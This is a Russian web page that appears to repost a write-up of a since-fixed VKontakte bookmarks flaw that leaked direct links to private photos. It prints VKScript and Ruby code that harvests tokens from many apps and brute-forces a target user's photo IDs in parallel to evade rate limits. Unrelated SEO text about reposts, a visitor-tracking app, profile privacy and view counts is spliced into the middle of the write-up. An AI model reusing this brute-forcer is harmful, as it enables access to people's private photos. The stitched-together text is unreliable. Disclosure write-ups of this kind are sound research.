Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте». Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150×150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks

можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big

хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX

, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как узнать, что мои фото в ВК репостят

При базовых настройках пользователи Вконтакте могут репостить чужие публикации и фото.

Более того, ранее количество репостов и имена юзеров, которые их сделали, можно было с лёгкостью просмотреть в один клик. Но в связи с ужесточением законодательства по защите персональных данных, функция была ограничена.

Узнать количество репостнувших и их имена можно в графе «Поделиться», которая есть возле каждой публикации.

Список откроется сразу после нажатия на строку «Поделились публикацией человек». Рядом с разделом «Поделились» можно увидеть пометку «Оценили». Она открывает доступ к перечню пользователей, лайкнувших публикацию.

Альтернативные методы

Не помогло? Вот ещё несколько сервисов, которые могут быть вам полезны.

Tofinder.ru

Findmevk.com (уже не работает)

Встроенные средства браузеров

Почти все популярные браузеры имеют собственные инструменты для поиска похожих изображений. Они используют практически одинаковый алгоритм, поэтому посмотрим, как это работает, только на примере Яндекс.Браузера.

  1. Перетащите изображение в поисковую строку, чтобы оно открылось в отдельной вкладке.

  2. Нажмите правой кнопкой на картинку, выберите пункт поиска похожих изображений. После этого откроется уже знакомая вам страница с результатами выдачи Яндекса.

Если вы используете экзотический браузер, который так не умеет, можете установить в него специальное расширение (для большинства браузеров подойдут расширения от Chrome, их можно найти тут), например, Image Search. После добавления его в браузер щелчок правой кнопки мыши по фото будет открывать меню с командой поиска (Find similar image). А клик по команде — список поддерживаемых поисковых систем, включая VK.com.

Кто может видеть список тех, кто делится чужими фото

В 2022 году администрацией Вконтакте было принято решение ограничить некоторые возможности пользователей. Теперь возможность просматривать имена репостнувших запись юзеров есть только у администраторов группы или у самого владельца профиля.

То есть доступ к списку тех, кто поделился публикацией, есть только у ее автора. Остальные пользователи видят только количество репостов. Другая информация им недоступна. Более того, если профиль репостнувшего скрыт настройками приватности, его никнейм не будет находиться в общем списке.

Существует ряд программ, позволяющих открыть доступ к списку чужих репостов, однако их использование может привести к бану в социальной сети или даже к заражению вирусным ПО.

Приложения для слежения за посетителями собственной страницы ВК

Один из лучших способов посмотреть личности гостей, посетивших страницу – использовать специальное приложение «Мои гости». Его есть возможность установить прямо в ВК по . На целевой странице появится выбор ссылок для разных платформ. Достаточно выбрать подходящую ссылку и перейти по ней. В ПК-версии приложения сперва появляется реклама, её можно смело закрыть. Теперь пользователь оказывается внутри приложения.

На первой вкладке «Гости» отображается информация о гостях страницы. Чтобы всегда знать личности посетителей, достаточно добавить приложение в закладки при помощи горячих клавиш Ctrl + D. Помимо этого, приложение «Мои гости» имеет ещё ряд полезных функций, вроде сканера. Суть сканера заключается в записи всех посещений личного профиля.

Сейчас приложение раздаёт PRO-режим бесплатно на 2 недели всем новым пользователям. Нужно только добавиться в официальную группу приложения.

Недостаток приложения – невозможно посмотреть всех, кто увидел личную фотографию в соцсети. Зато есть возможность изучить список всех пользователей, кто входил на страницу. Также указывается длительность посещения, насколько давно оно было и ещё много интересной информации.

Как запретить репост собственных фото

Случаи кражи фотографий для их дальнейшего использования в мошеннических или личных целях фиксируются все чаще. Для защиты персональных фотографий, Вконтакте предлагает запретить их репост путём закрытия профиля.

Отдельной функции, ограничивающей возможность пользователей осуществлять репост публикаций, нет.

Просматривать и делиться контентом закрытого профиля могут исключительно люди, входящие в список друзей. При этом они не могут отправить публикацию не подписанному на профиль пользователю.

Для закрытия страницы:

  1. Зайдите в аккаунт, и перейдите в Настройки.
  2. Выберите раздел «Приватность».

  3. Найдите строку «Закрытый профиль», и перетяните ползунок в сторону «Вкл».

Три легких шага позволят ограничить доступ незнакомцам к личному профилю и всем размещенным в нем фотографиям.

Сторонние сервисы

Под сторонними сервисами подразумеваются различные приложения. Как правило они обещают расширение возможностей в ВК, как посмотреть кто просматривал фото, так и другие.

Мои гости

Приложение «Мои гости» наиболее распространено среди желающих узнать кто посещал страничку и смотрел фото. Установить его можно с помощью компьютерной версии ВК. Для этого:

  1. Зайдите в ВК.
  2. В меню справа нажмите «Игры».
  3. Под блоком с вашими играми и играми друзей вы увидите серые надписи, где нужно кликнуть «Еще».
  4. В выпадающем меню кликните «Приложения».
  5. Далее можете найти приложение вручную или введите «Мои гости» в строку поиска.
  6. Теперь кликните по аватарке приложения и нажмите «Установить».

Это приложение показывает статистику о ваших друзьях, а также даты, когда вы кого-то добавили или удалили. Использование некоторых функций требует материальных вложений, а именно «голосов». Также его можно использовать для общения, знакомств и флирта.

Что же касается достоверности данных о посетителях вашей странички, то здесь все под вопросом. Администрация сайта уверяет, что такая функция как увидеть кто смотрел фото в ВК не существует. Почитав отзывы о подобных приложениях вы можете сами в этом убедиться. Однако доверять данным конкретно этого приложения и нет — решать вам.

А есть ли смысл?

Закрытый профиль действительно делает информацию недоступной для всех, кроме друзей. Но далеко не все «друзья» таковыми являются. Подписчики также могут использовать ваши фотографии в личных целях. К тому же, до закрытия профиля все фотографии могли быть скачаны на персональное устройство каждым желающим.

Заполучить снимок можно и в том случае, если сделать скриншот экрана.

Выходит, что защитить фотографии от их использования посторонними можно только не выкладывая их. Все остальные способы имеют лазейки. Для обхода ограничений не требуется каких-то особых знаний или умений.

Социальная сеть Вконтакте позволяет своим пользователям ограничить доступ к профилям, тем самым определяя круг лиц, имеющих возможность видеть публикации. Но даже эта мера не способна защитить выкладываемый медиаконтент от использования сторонними лицами в личных целях. Все что единожды было загружено в глобальную сеть, автоматически становится всеобщим достоянием. И загружая на платформу очередное фото из личного архива, пожалуйста, не забывайте об этом.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя.

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute. В одном вызове этого метода возможно 25 обращений к методам API. var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = «https://vk.com/photo» + victimId + «_»; while(start != end) { API.fave.addLink({ «link»: link + start }); start = start + 1; }; Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.
Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

class StandaloneAppsFinder attr_reader :app_ids def initialize(params) @range = params[:in_range] @app_ids = [] end def search (@range).each do |app_id| response = open(«https://api.vk.com/method/apps.get?app_id=#{app_id}»).read app = JSON.parse(response)[‘response’] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data[‘type’] == ‘standalone’ end end Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду. [Ограничения и рекомендации]

Но решил с этим не заморачиваться.
Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l

(login.vk.com) и
remixsid
(vk.com):
class Authenticator attr_reader :access_tokens def initialize(cookie_header) @cookies = { ‘Cookie’ => cookie_header } @access_tokens = [] end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css(‘form’).attr(‘action’).value end def extract_token_from(url) URI(url).fragment[13..97] end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) «https://oauth.vk.com/authorize?» + «client_id=#{app_id}&» + «response_type=token&» + «display=mobile&» + «scope=474367» end end Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus, который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер: class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { ‘today’ => 366300000..366500000, ‘yesterday’ => 366050000..366300000, ‘current_month’ => 365000000..366500000, ‘last_month’ => 360000000..365000000, ‘current_year’ => 350000000..366500000, ‘last_year’ => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD[params[:period]] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = «https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}» encoded_url = URI.escape(url).gsub(‘+’, ‘%2B’).delete(«\n») tokensIterator = tokensIterator == tokens.count — 1 ? 0 : tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = «https://vk.com/photo#{@victim_id}» + «_»; while(start != end) { API.fave.addLink({ «link»: link + start }); start = start + 1; }; return start; VKScript end end Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD
запрос сервер «Вконтакте» возвращает ошибку
501 Not implemented
.

Окончательная версия скрипта выглядит так:

require ‘nokogiri’ require ‘open-uri’ require ‘typhoeus’ require ‘json’ require ‘./standalone_apps_finder’ require ‘./photos_bruteforcer’ require ‘./authenticator’ bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1]) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l — cookies from login.vk.com # remixsid — cookie from vk.com authenticator = Authenticator.new( ‘p=;’ + ‘l=;’ + ‘remixsid=;’ ) authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens) После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Число просмотров записи в VK

Сервис ВКонтакте уже давно обзавёлся механизмом для подсчёта количества просмотров каждого поста. Если раньше единственным индикатором популярности являлись лайки и репосты, то сегодня добавился ещё один параметр – просмотры. Функция есть в каждой версии ВК, как на веб-сайте, так и в приложении для смартфона.

По этим данным пользователь с лёгкостью определяет интерес аудитории к конкретному посту. Количество просмотров позволяет создать статистику по популярности конкретных тем в группах и на страницах. Число всех просмотров указывается в правой части поста (под ним). Важно понимать, что просмотр засчитывается независимо от того, насколько заинтересованным оказался пользователь. Неважно, открыл ли он пост и сделал комментарий или просто пролистал ленту новостей.

Кстати, просмотры подсчитываются не только на странице пользователя, разместившего пост, но и на других страницах, что сделали репост.

Рейтинг
( 2 оценки, среднее 5 из 5 )
Понравилась статья? Поделиться с друзьями:
Для любых предложений по сайту: [email protected]